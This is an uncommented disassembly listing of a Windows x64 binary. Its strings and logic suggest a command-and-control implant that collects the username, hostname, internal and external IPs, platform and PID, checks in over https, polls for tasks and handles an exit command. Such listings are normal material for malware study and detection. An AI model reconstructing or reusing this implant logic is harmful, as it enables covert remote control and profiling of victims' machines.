lea rax, str.https:___
mov qword [r12], rax
mov qword [r12 + 8], rbp
and qword [r12 + 0x20], 0
mov qword [rsp + 0x638], r13
mov qword [rsp + 0x640], r15
mov qword [r12 + 0x10], rsi
mov qword [r12 + 0x18], r14
lea rcx, [rsp + 0x2f0]
lea rdx, [rsp + 0x330]
call fcn.140004b3a
lea rax, [rsp + 0x138]
mov r13, qword [rax]
mov r14, qword [rax + 0x10]
lea r15, [0x1400afb08]
mov qword [rsp + 0x20], r14
mov rcx, rdi
mov rdx, rbx
mov r8, r15
mov r9, r13
call fcn.140005cd5
mov rcx, rsi
mov rdx, rdi
call fcn.1400808c8
mov ebp, dword [rsp + 0x638]
mov rcx, rsi
call fcn.140003bf0
cmp ebp, 3
je 0x14000ed8d
lea rcx, [rsp + 0x200]
call fcn.14000d7ab
lea rcx, [rsp + 0x220]
call fcn.14000d80c
xorps xmm0, xmm0
movups xmmword [rsp + 0xc8], xmm0
mov qword [rsp + 0xc0], 1
mov qword [rsp + 0x50], 8
movups xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x150], 0x3a98
lea rax, [0x1400d3348]
lea rcx, [rsp + 0x638]
mov qword [rcx], rax
lea rax, [0x1400d3354]
mov qword [rcx + 8], rax
and word [rcx + 0x10], 0
mov dword [rcx + 0x18], 1
call fcn.14003e229
test ax, ax
je 0x14000ef26
mov ebx, edx
lea rsi, [rsp + 0x330]
lea r15, [rsp + 0x638]
mov rcx, rsi
mov rdx, r15
call fcn.140084ba9
mov rax, qword [rsi]
inc rax
mov r14, 0xffffffffffffffff
cmove rax, r14
cmp rax, 5
mov ecx, 4
cmovae rcx, rax
call fcn.1400848a1
mov rdi, rax
mov word [rax], bx
lea rbx, [rsp + 0x940]
mov qword [rbx], rax
mov qword [rbx + 8], rdx
mov qword [rbx + 0x10], 1
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movaps xmmword [rsi + 0x10], xmm1
movaps xmmword [rsi], xmm0
mov r12d, 1
lea r15, [rsp + 0xc48]
lea r13, [rsp + 0x270]
mov rcx, rsi
call fcn.14003e229
cmp ax, 1
jne 0x14000ef1c
mov ebp, edx
cmp r12, qword [rsp + 0x948]
jne 0x14000ef0a
mov rcx, r15
mov rdx, rsi
call fcn.140084ba9
mov rdx, qword [rsp + 0xc48]
inc rdx
cmove rdx, r14
mov rcx, rbx
call fcn.140084968
mov rdi, qword [rsp + 0x940]
mov word [rdi + r12*2], bp
inc r12
mov qword [rsp + 0x950], r12
jmp 0x14000eec6
mov rbx, qword [rsp + 0x948]
jmp 0x14000ef35
mov edi, 2
xor ebx, ebx
lea r13, [rsp + 0x270]
mov rcx, rdi
xor edx, edx
xor r8d, r8d
call sub.kernel32.dll_LoadLibraryExW
mov rsi, rax
mov rcx, rdi
mov rdx, rbx
call fcn.140085aa1
lea rdx, [0x1400d3354]
mov rcx, rsi
call sub.kernel32.dll_GetProcAddress
mov rdi, rax
mov eax, 0x3a98
lea r12, [0x140004f6b]
lea rbp, [rsp + 0x330]
mov ecx, eax
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
je 0x14001069d
mov rbx, rax
lea rax, [rsp + 0x150]
mov qword [rsp + 0x20], rax
xor ecx, ecx
mov edx, 0x80
xor r8d, r8d
mov r9, rbx
call rdi
cmp eax, 0x6f
jne 0x14000efc4
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov eax, dword [rsp + 0x150]
add eax, eax
mov dword [rsp + 0x150], eax
jmp 0x14000ef76
mov qword [rsp + 0x28], rbx
test eax, eax
jne 0x14001063d
mov rcx, rsi
call sub.kernel32.dll_FreeLibrary
xorps xmm6, xmm6
mov ebx, 2
mov r14d, 1
mov rdi, qword [rsp + 0x28]
test rdi, rdi
je 0x14000f43c
mov rax, qword [rdi + 8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0xa0], rdi
mov rdx, qword [rdi + 0x48]
lea rcx, [rsp + 0x638]
call fcn.14003e40b
mov rax, qword [rdi + 0x50]
mov esi, dword [rdi + 0x58]
mov qword [rsp + 0x110], rax
mov rcx, rsi
xor edx, edx
call fcn.140010c9b
mov qword [rsp + 0x940], rax
mov qword [rsp + 0x948], rdx
and qword [rsp + 0x950], 0
xor r15d, r15d
cmp rsi, r15
je 0x14000f18a
cmp r15, 8
je 0x14000f18a
lea rax, [rsp + r15]
add rax, 0x110
mov qword [rsp + 0x270], rax
test r15, r15
je 0x14000f0d2
mov qword [rsp + 0x150], r13
lea rax, [0x14003e320]
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x330], rbx
and qword [rsp + 0x340], 0
mov qword [rsp + 0x348], rbx
and qword [rsp + 0x350], 0
movabs rax, 0x800000020
mov qword [rsp + 0x358], rax
mov byte [rsp + 0x360], 3
lea rax, [0x1400d3370]
jmp 0x14000f12c
mov qword [rsp + 0x150], r13
lea rax, [0x14003e320]
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x330], rbx
and qword [rsp + 0x340], 0
mov qword [rsp + 0x348], rbx
and qword [rsp + 0x350], 0
movabs rax, 0x800000020
mov qword [rsp + 0x358], rax
mov byte [rsp + 0x360], 3
lea rax, [0x1400fb828]
mov qword [rsp + 0xc48], rax
mov qword [rsp + 0xc50], r14
mov qword [rsp + 0xc68], rbp
mov qword [rsp + 0xc70], r14
lea rax, [rsp + 0x150]
mov qword [rsp + 0xc58], rax
mov qword [rsp + 0xc60], r14
lea rcx, [rsp + 0x940]
lea rdx, [rsp + 0xc48]
call fcn.14008bf76
test rax, rax
jne 0x14001069d
inc r15
jmp 0x14000f04c
mov rdx, qword [rsp + 0x940]
mov r8, qword [rsp + 0x950]
mov rcx, rbp
call fcn.140010f82
lea rsi, [rsp + 0x650]
mov rcx, rsi
mov rdx, rbp
call fcn.140010d1d
mov rcx, qword [rsp + 0x940]
mov rdx, qword [rsp + 0x948]
call fcn.140010c6f
mov rax, qword [rdi + 0x18]
mov qword [rsp + 0x270], rdi
mov qword [rsp + 0x278], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x280], rax
mov rcx, rbp
mov rdx, r13
call fcn.14003dc6a
cmp dword [rsp + 0x330], 3
jne 0x14000f218
mov qword [rsp + 0x668], 4
movups xmmword [rsi + 0x20], xmm6
jmp 0x14000f3b2
mov al, byte [0x1401013c8]
mov ecx, 0x1b0
mov edx, 4
call fcn.140010720
test rax, rax
je 0x1400106a1
mov r15, rax
mov ecx, 0x1b
mov rdi, rax
mov rsi, rbp
rep movsd dword [rdi], dword [rsi]
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x160], rax
movups xmm0, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x150], xmm0
mov rax, rbp
mov ebp, 1
mov r13d, 4
mov r12d, 0x6c
mov rcx, rax
lea rdx, [rsp + 0x150]
call fcn.14003dc6a
cmp dword [rsp + 0x330], 3
je 0x14000f383
cmp rbp, r13
jne 0x14000f361
mov rsi, r13
inc rsi
jne 0x14000f2b0
xor ecx, ecx
jmp 0x14000f359
lea rax, [r13*2]
cmp rax, rsi
cmova rsi, rax
cmp rsi, 5
mov eax, 4
cmovb rsi, rax
xor edx, edx
movabs rax, 0x12f684bda12f685
cmp rsi, rax
setb al
test r13, r13
je 0x14000f2fe
imul rcx, r13, 0x6c
mov qword [rsp + 0xc48], r15
mov qword [rsp + 0xc58], rcx
mov ecx, 4
jmp 0x14000f300
xor ecx, ecx
imul r8, rsi, 0x6c
mov dl, al
shl rdx, 2
mov qword [rsp + 0xc50], rcx
lea rcx, [rsp + 0x940]
lea r9, [rsp + 0xc48]
call fcn.140010a2b
cmp qword [rsp + 0x940], 0
je 0x14000f344
mov rcx, qword [rsp + 0x948]
mov rsi, qword [rsp + 0x950]
jmp 0x14000f359
mov r15, qword [rsp + 0x948]
mov r13, rsi
movabs rcx, 0x8000000000000001
mov rdx, rsi
call fcn.1400109e8
lea rdi, [r15 + r12]
mov ecx, 0x1b
lea rax, [rsp + 0x330]
mov rsi, rax
rep movsd dword [rdi], dword [rsi]
inc rbp
add r12, 0x6c
jmp 0x14000f27a
mov qword [rsp + 0x668], r15
mov qword [rsp + 0x670], r13
mov qword [rsp + 0x678], rbp
lea r13, [rsp + 0x270]
lea r12, [0x140004f6b]
lea rbp, [rsp + 0x330]
mov rax, qword [rsp + 0xa0]
mov rdx, qword [rax + 0x40]
mov rcx, rbp
call fcn.14003e40b
mov rsi, qword [rsp + 0x330]
mov r8, qword [rsp + 0x340]
lea rcx, [rsp + 0x680]
mov rdx, rsi
call fcn.14001169a
mov rdx, qword [rsp + 0x338]
mov rcx, rsi
call fcn.140010c6f
mov rdx, qword [rsp + 0x60]
cmp rdx, qword [rsp + 0x58]
jne 0x14000f411
lea rcx, [rsp + 0x50]
call fcn.14003e32a
mov rdx, qword [rsp + 0x60]
imul rdi, rdx, 0x60
add rdi, qword [rsp + 0x50]
mov ecx, 0xc
lea rsi, [rsp + 0x638]
rep movsq qword [rdi], qword [rsi]
inc rdx
mov qword [rsp + 0x60], rdx
mov rdi, qword [rsp + 0x30]
jmp 0x14000efec
mov rcx, qword [rsp + 0x28]
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rax, qword [rsp + 0x50]
imul rdx, qword [rsp + 0x60], 0x60
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0xe8], rcx
add rdx, rax
lea rsi, [rsp + 0xc4a]
xorps xmm6, xmm6
mov ebp, 2
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0x78], rdx
cmp rax, rdx
je 0x14000f91e
lea rdi, [rax + 0x60]
mov rcx, qword [rax]
test rcx, rcx
je 0x14000f921
mov qword [rsp + 0x48], rcx
mov rcx, qword [rax + 8]
mov qword [rsp + 0x80], rcx
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x90], rcx
mov rcx, qword [rax + 0x20]
mov qword [rsp + 0x88], rcx
mov rbx, qword [rax + 0x30]
mov rcx, qword [rax + 0x38]
mov qword [rsp + 0x98], rcx
mov rcx, qword [rax + 0x48]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rax + 0x50]
mov qword [rsp + 0x28], rcx
imul r13, qword [rax + 0x40], 0x6c
xor r15d, r15d
mov r14, rbx
cmp r13, r15
je 0x14000f8cb
cmp dword [r14], 3
je 0x14000f8cb
cmp dword [r14 + 0x24], 0
jne 0x14000f8be
movzx eax, word [r14 + 0x2c]
cmp ax, 2
je 0x14001069d
lea rcx, [rbx + r15]
add rcx, 0x2e
mov word [rsp + 0xc48], ax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0xe]
movups xmmword [rsi + 0xe], xmm1
movups xmmword [rsi], xmm0
lea rcx, [rsp + 0x948]
movups xmmword [rcx], xmm6
mov qword [rsp + 0x940], 1
test ax, ax
je 0x14000f644
mov eax, dword [rsp + 0xc60]
test eax, eax
je 0x14000f684
mov dword [rsp + 0xa0], eax
lea rax, [rsp + 0xc4c]
mov qword [rsp + 0x110], rax
movzx eax, word [rsp + 0xc64]
mov word [rsp + 0x1f0], ax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x330], rax
lea rax, [0x140099664]
mov qword [rsp + 0x338], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x340], rax
lea rax, [fcn.140019098]
mov qword [rsp + 0x348], rax
lea rax, str.__:0x0Xftphttphttpswswssfile:____file:___file:__
mov qword [rsp + 0x638], rax
mov ecx, 3
mov qword [rsp + 0x640], rcx
and qword [rsp + 0x658], 0
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x350], rax
lea rax, [fcn.14001b979]
mov qword [rsp + 0x358], rax
lea rax, [rsp + 0x330]
mov qword [rsp + 0x648], rax
mov qword [rsp + 0x650], rcx
lea rcx, [rsp + 0x940]
lea rdx, [0x1400a67e0]
lea r8, [rsp + 0x638]
jmp 0x14000f731
mov qword [rsp + 0x110], rsi
movzx eax, word [rsp + 0xc4e]
mov word [rsp + 0xa0], ax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x638], rax
lea rax, [0x14009965c]
mov qword [rsp + 0x640], rax
lea rax, [0x1400d4350]
jmp 0x14000f6ca
lea rax, [rsp + 0xc4c]
mov qword [rsp + 0x110], rax
movzx eax, word [rsp + 0xc64]
mov word [rsp + 0xa0], ax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x638], rax
lea rax, [0x140099664]
mov qword [rsp + 0x640], rax
lea rax, str.__:0x0Xftphttphttpswswssfile:____file:___file:__
mov qword [rsp + 0x330], rax
mov qword [rsp + 0x338], rbp
and qword [rsp + 0x350], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x648], rax
lea rax, [fcn.14001b979]
mov qword [rsp + 0x650], rax
lea rax, [rsp + 0x638]
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], rbp
lea rcx, [rsp + 0x940]
lea rdx, [0x1400a67e0]
lea r8, [rsp + 0x330]
call fcn.140018e0f
test al, al
jne 0x14001069d
mov rax, qword [rsp + 0x950]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsp + 0x940]
movaps xmmword [rsp + 0x50], xmm0
cmp qword [rsp + 0xd0], 0
je 0x14000f813
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x638], rax
mov qword [rsp + 0x640], r12
lea rax, [0x1400a6c28]
mov qword [rsp + 0x330], rax
mov qword [rsp + 0x338], rbp
and qword [rsp + 0x350], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x648], rax
mov qword [rsp + 0x650], r12
lea rax, [rsp + 0x638]
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], rbp
lea rcx, [rsp + 0x150]
lea rdx, [rsp + 0x330]
call fcn.140004b3a
mov rcx, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
call fcn.140010c6f
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0xd0], rax
movups xmm0, xmmword [rsp + 0x150]
jmp 0x14000f8a7
lea rax, [0x1400fb828]
mov qword [rsp + 0x330], rax
mov ecx, 1
mov qword [rsp + 0x338], rcx
and qword [rsp + 0x350], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x638], rax
mov qword [rsp + 0x640], r12
lea rax, [rsp + 0x638]
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], rcx
lea rcx, [rsp + 0x270]
lea rdx, [rsp + 0x330]
call fcn.140004b3a
mov rcx, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
call fcn.140010c6f
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xd0], rax
movups xmm0, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0xc0], xmm0
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
call fcn.140010c6f
add r14, 0x6c
add r15, 0x6c
jmp 0x14000f4ed
mov rcx, rbx
mov rdx, qword [rsp + 0x98]
call fcn.14003e3e3
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x80]
call fcn.140010c6f
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x88]
call fcn.140010c6f
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
call fcn.140010c6f
mov rax, rdi
mov rdx, qword [rsp + 0x78]
jmp 0x14000f47e
mov rdi, rdx
sub rdx, rdi
mov ecx, 0x60
mov rax, rdx
xor edx, edx
div rcx
mov rsi, rax
add rdi, 0x50
sub rsi, 1
jb 0x14000f977
mov rcx, qword [rdi - 0x50]
mov rdx, qword [rdi - 0x48]
call fcn.140010c6f
mov rcx, qword [rdi - 0x38]
mov rdx, qword [rdi - 0x30]
call fcn.140010c6f
mov rcx, qword [rdi - 0x20]
mov rdx, qword [rdi - 0x18]
call fcn.14003e3e3
mov rcx, qword [rdi - 8]
mov rdx, qword [rdi]
call fcn.140010c6f
add rdi, 0x60
jmp 0x14000f938
mov rcx, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0xe8]
call fcn.14003e3f7
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x1e8], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x98], rax
mov ecx, 7
call fcn.1400862c7
mov qword [rsp + 0xe8], rdx
mov dword [rax], 0x646e6977
mov qword [rsp + 0x48], rax
mov dword [rax + 3], 0x73776f64
call sub.kernel32.dll_GetCurrentProcessId
mov ebx, eax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x1d8], rax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x28], rax
lea rbp, [rsp + 0x330]
lea rdi, [rsp + 0x638]
lea rsi, [rsp + 0xc48]
lea r15, [rsp + 0x150]
mov r14d, 0x2710
mov r12w, 0x64
lea r13, [0x1400c25f5]
mov rcx, rbp
lea rdx, [rsp + 0xf8]
mov r8, qword [rsp + 0x30]
mov r9, qword [rsp + 0x28]
call fcn.140005cb4
cmp dword [rsp + 0x330], 2
je 0x14000fded
mov ecx, 0x80
xor edx, edx
call fcn.140010c9b
mov qword [rsp + 0x940], rax
mov qword [rsp + 0x948], rdx
and qword [rsp + 0x950], 0
lea rcx, [rsp + 0x940]
mov qword [rsp + 0x270], rcx
lea rdx, [0x1400a67ba]
lea r8, [0x1400a67bb]
call fcn.1400108e9
lea rax, [rsp + 0x270]
mov qword [rsp + 0x150], rax
mov byte [rsp + 0x158], 1
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r8d, 0xd
mov rcx, r15
lea rdx, str.link_usernamelink_hostnameinternal_ipexternal_ipplatformpidqtaskingx_request_idstruct_Taskstruct_Task_with_3_elements
mov r9, qword [rsp + 0x80]
call fcn.140007b64
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x20], rax
mov r8d, 0xd
mov rcx, r15
lea rdx, [0x1400a6d51]
mov r9, qword [rsp + 0x88]
call fcn.140007b64
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x20], rax
mov r8d, 0xb
mov rcx, r15
lea rdx, [0x1400a6d5e]
mov r9, qword [rsp + 0x90]
call fcn.140007b64
and qword [rsp + 0x20], 0
mov r8d, 0xb
mov r9d, 1
mov rcx, r15
lea rdx, [0x1400a6d69]
call fcn.140007b64
mov qword [rsp + 0x20], 7
mov r8d, 8
mov rcx, r15
lea rdx, [0x1400a6d74]
mov r9, qword [rsp + 0x48]
call fcn.140007b64
mov r8d, 3
mov rcx, r15
lea rdx, [0x1400a6d7c]
call fcn.140007b19
mov rsi, qword [rsp + 0x150]
mov rcx, qword [rsi]
call fcn.14000195f
mov r9d, 0xa
mov ecx, ebx
cmp ebx, 0x2710
jb 0x14000fc5e
mov r10d, 0xa
mov r8d, ebx
mov eax, r8d
xor edx, edx
div r14d
mov ecx, eax
mov eax, edx
xor edx, edx
div r12w
movzx eax, ax
movzx edx, dx
lea r9, [r10 - 4]
movzx eax, word [r13 + rax*2]
mov word [rsp + r10 + 0x634], ax
movzx eax, word [r13 + rdx*2]
mov word [rsp + r10 + 0x636], ax
mov r10, r9
cmp r8d, 0x5f5e0ff
mov r8d, ecx
ja 0x14000fc15
cmp ecx, 0x63
jbe 0x14000fc83
mov eax, ecx
xor edx, edx
mov ecx, 0x64
div ecx
movzx ecx, word [r13 + rdx*2]
mov word [rsp + r9 + 0x636], cx
add r9, 0xfffffffffffffffe
mov ecx, eax
cmp ecx, 0xa
jae 0x14000fc98
add cl, 0x30
mov byte [rsp + r9 + 0x637], cl
dec r9
jmp 0x14000fcad
mov eax, ecx
movzx eax, word [r13 + rax*2]
mov word [rsp + r9 + 0x636], ax
add r9, 0xfffffffffffffffe
mov r8d, 0xa
sub r8, r9
lea rdx, [rsp + r9]
add rdx, 0x638
mov rcx, qword [rsi]
call fcn.140001c7e
mov dl, byte [rsp + 0x158]
mov rcx, qword [rsi]
call fcn.140007b9b
mov rax, qword [rsp + 0x940]
mov rcx, qword [rsp + 0x948]
test rax, rax
je 0x14000fdb2
mov rdx, qword [rsp + 0x950]
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x278], rcx
mov qword [rsp + 0x280], rdx
movups xmm0, xmmword [0x1400a69f8]
movaps xmmword [rsp + 0x160], xmm0
movups xmm0, xmmword [0x1400a69e8]
movaps xmmword [rsp + 0x150], xmm0
mov rcx, rdi
call fcn.140004977
lea rsi, [rsp + 0x940]
mov rcx, rsi
lea rdx, [rsp + 0x358]
mov r8, r15
mov r9, rdi
call fcn.14003702b
mov rcx, rsi
call fcn.140039fdd
mov rcx, rdi
lea rdx, [rsp + 0x270]
call fcn.1400049c1
lea rsi, [rsp + 0x438]
mov rcx, rsi
call fcn.140004845
mov rax, qword [rsp + 0x658]
mov qword [rsi + 0x20], rax
movups xmm0, xmmword [rsp + 0x638]
movups xmm1, xmmword [rsp + 0x648]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
lea rsi, [rsp + 0xc48]
lea rbp, [rsp + 0x330]
jmp 0x14000fded
call fcn.140005caa
mov rsi, rax
xor ecx, ecx
call fcn.1400046cc
lea rbp, [rsp + 0x330]
mov rcx, rbp
call fcn.140003b83
mov qword [rsp + 0x330], 2
mov qword [rsp + 0x338], rsi
lea rsi, [rsp + 0xc48]
mov r8d, 0x148
mov rcx, rdi
mov rdx, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rsi
mov rdx, rdi
call fcn.1400808c8
mov rbp, qword [rsp + 0xc48]
cmp rbp, 3
jne 0x14000fe2c
mov rcx, rsi
call fcn.140003bf0
lea rbp, [rsp + 0x330]
jmp 0x14000fa90
lea rdx, [rsp + 0xc50]
lea rdi, [rsp + 0x940]
mov r8d, 0xb8
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x338]
mov qword [rcx - 8], rbp
mov r8d, 0xb8
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rsi, [rsp + 0x638]
lea r14, [rsp + 0x330]
mov rcx, rsi
mov rdx, r14
call fcn.1400062bf
cmp qword [rsi], 0
je 0x14001069d
lea rdi, [rsp + 0x270]
lea rbp, [rsp + 0x638]
mov ecx, 9
mov rsi, rbp
rep movsq qword [rdi], qword [rsi]
xor ecx, ecx
call fcn.1400862c7
mov rsi, rax
mov rdi, rdx
xor ecx, ecx
call fcn.1400862c7
mov rbx, rax
mov r15, rdx
xor ecx, ecx
call fcn.1400862c7
lea rcx, [rsp + 0x158]
mov qword [rcx + 0x28], rax
mov qword [rcx + 0x30], rdx
and qword [rcx + 0x38], 0
mov qword [rcx - 8], rsi
mov qword [rcx], rdi
and qword [rcx + 8], 0
mov qword [rcx + 0x10], rbx
mov qword [rcx + 0x18], r15
and qword [rcx + 0x20], 0
mov r15, qword [rsp + 0x2f0]
mov r13, qword [rsp + 0x300]
lea r12, [rsp + 0xf8]
lea rdi, [rsp + 0xc48]
xorps xmm6, xmm6
lea rsi, [rsp + 0x50]
lea rbx, [rsp + 0xc0]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r15
mov rcx, r14
mov rdx, r12
mov r8, r15
mov r9, r13
call fcn.140005cb4
mov rdx, qword [rsp + 0x2a0]
mov r8, qword [rsp + 0x2b0]
lea rcx, [rsp + 0xa0]
call fcn.14001169a
cmp dword [rsp + 0x330], 2
jne 0x14000ff78
mov r8d, 0x148
mov rcx, rbp
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14000ffee
mov r8d, 0xc
lea rcx, [rsp + 0x220]
lea rdx, str.x_request_idexit
call fcn.1400340aa
mov rdi, qword [rsp + 0x220]
test rdi, rdi
je 0x1400101b7
mov cl, 4
call fcn.140080728
mov rsi, rax
xor ecx, ecx
call fcn.1400046cc
mov rcx, r14
call fcn.140003b83
mov qword [rsp + 0x330], 2
mov qword [rsp + 0x338], rsi
mov r8d, 0x148
mov rcx, rbp
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
test rdi, rdi
lea rdi, [rsp + 0xc48]
je 0x140010003
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0xa8]
call fcn.140010c6f
cmp dword [rsp + 0x638], 2
je 0x140010251
mov ecx, 0x80
xor edx, edx
call fcn.140010c9b
mov qword [rsp + 0x330], rax
mov qword [rsp + 0x338], rdx
and qword [rsp + 0x340], 0
mov qword [rsp + 0xc0], r14
mov rcx, r14
lea rdx, [0x1400a67ba]
lea r8, [0x1400a67bb]
call fcn.1400108e9
mov qword [rsp + 0x50], rbx
mov byte [rsp + 0x58], 1
mov r9, qword [rsp + 0x150]
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x20], rax
mov r8d, 1
lea rsi, [rsp + 0x50]
mov rcx, rsi
lea rdx, [0x1400a6d7f]
call fcn.140007b64
mov r9, qword [rsp + 0x168]
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x20], rax
mov r8d, 7
mov rcx, rsi
lea rdx, [0x1400a6d80]
call fcn.140007b64
mov r9, qword [rsp + 0x180]
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x20], rax
mov r8d, 0xc
mov rcx, rsi
lea rdx, [0x1400a6d87]
call fcn.140007b64
mov rax, qword [rsp + 0x50]
mov dl, byte [rsp + 0x58]
mov rcx, qword [rax]
call fcn.140007b9b
mov rax, qword [rsp + 0x330]
mov rcx, qword [rsp + 0x338]
test rax, rax
je 0x140010226
mov rdx, qword [rsp + 0x340]
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x228], rcx
mov qword [rsp + 0x230], rdx
movups xmm0, xmmword [0x1400a69f8]
movaps xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [0x1400a69e8]
movaps xmmword [rsp + 0xc0], xmm0
mov rcx, r14
call fcn.140004977
mov rcx, rsi
lea rdx, [rsp + 0x660]
mov r8, rbx
mov r9, r14
call fcn.14003702b
mov rcx, rsi
call fcn.140039fdd
mov rcx, r14
lea rdx, [rsp + 0x220]
call fcn.1400049c1
lea rsi, [rsp + 0x740]
mov rcx, rsi
call fcn.140004845
mov rax, qword [rsp + 0x350]
mov qword [rsi + 0x20], rax
movups xmm0, xmmword [rsp + 0x330]
movups xmm1, xmmword [rsp + 0x340]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
jmp 0x140010251
lea rax, [rsp + 0x228]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x110], xmm0
mov rcx, rbx
lea rdx, [rsp + 0xa0]
call section..text
cmp byte [rsp + 0xe0], 2
jne 0x1400104a0
mov cl, 5
call fcn.140080728
mov rsi, rax
xor ecx, ecx
call fcn.1400046cc
cmp qword [rsp + 0x110], 0
je 0x14000ffb4
lea rcx, [rsp + 0x110]
call fcn.14003078c
jmp 0x14000ffb4
call fcn.140005caa
mov rsi, rax
xor ecx, ecx
call fcn.1400046cc
mov rcx, rbp
call fcn.140003b83
mov qword [rsp + 0x638], 2
mov qword [rsp + 0x640], rsi
mov r8d, 0x148
mov rcx, r14
mov rdx, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rdi
mov rdx, r14
call fcn.1400808c8
mov rsi, qword [rsp + 0xc48]
cmp rsi, 3
jne 0x14001028d
mov rcx, rdi
call fcn.140003bf0
lea rsi, [rsp + 0x50]
jmp 0x14000ff2d
mov r8d, 0xb8
lea rcx, [rsp + 0x940]
lea rdi, [rsp + 0xc50]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x330], rsi
mov r8d, 0xb8
lea rcx, [rsp + 0x338]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbp
mov rdx, r14
call fcn.1400062bf
cmp qword [rsp + 0x638], 0
je 0x14001069d
mov ecx, 9
mov rdi, r14
mov rsi, rbp
rep movsq qword [rdi], qword [rsi]
lea rbp, [rsp + 0x270]
mov rcx, rbp
call fcn.140003e61
mov ecx, 9
mov rdi, rbp
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x158]
call fcn.140010c6f
mov edi, 1
mov qword [rsp + 0x150], rdi
lea rsi, [rsp + 0x158]
movups xmmword [rsi], xmm6
mov rcx, qword [rsp + 0x168]
mov rdx, qword [rsp + 0x170]
call fcn.140010c6f
mov qword [rsp + 0x168], rdi
movups xmmword [rsi + 0x18], xmm6
cmp qword [rsp + 0x298], 0
je 0x140010469
lea r15, [rsp + 0x158]
lea rcx, [rsp + 0x150]
mov rdx, rbp
call fcn.140007da6
mov ecx, 1
xor edx, edx
call fcn.140010c6f
mov rdx, qword [rsp + 0x150]
mov r8, qword [rsp + 0x160]
mov r12, r14
mov rcx, r14
call fcn.14001169a
mov ecx, 4
call fcn.1400862c7
mov rsi, rax
mov rdi, rdx
mov dword [rax], 0x74697865
mov r13, qword [rsp + 0x330]
mov rdx, qword [rsp + 0x340]
mov r9d, 4
mov rcx, r13
mov r8, rax
call fcn.140019792
mov ebx, eax
mov rcx, rsi
mov rdx, rdi
call fcn.140010c6f
mov rdx, qword [rsp + 0x338]
mov rcx, r13
call fcn.140010c6f
test bl, bl
jne 0x14001052c
mov rcx, qword [rsp + 0x168]
mov rdx, qword [rsp + 0x170]
